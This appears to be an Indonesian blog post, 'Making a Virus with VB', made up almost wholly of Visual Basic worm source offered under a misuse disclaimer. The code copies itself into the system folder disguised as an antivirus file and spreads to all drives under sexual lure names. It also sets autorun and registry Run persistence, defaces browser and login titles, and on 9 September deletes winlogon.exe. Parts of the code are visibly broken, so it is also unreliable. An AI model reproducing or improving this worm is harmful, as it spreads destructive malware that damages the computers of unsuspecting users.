Membuat Virus Dengan VB

=============================================
Segala Penyalah Gunaan Artikel ini Bukan Tanggung Jawab Saya!!
=============================================
Private Sub Form_Load()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"

FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\godham-tlab.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\kaspersky.exe"

Call SD
Call IE
Call XD
Call XDS

End Sub

Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Sex Movie.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Gairah Anak Muda.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Ini Virus buat remaja.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Jangan dibuka bahaya buat yang kurang umur.exe"


Next

End Sub

Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.exe")
End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\godham-tlab.exe"
End Sub

Sub XDS()
If Day(Now) = 9 And Month(Now) = 9 Then
Kill "C:\WINDOWS\system32\winlogon.exe"
Kill "C:\WINDOWS\system32\rundl32.exe"
End Sub

Tweet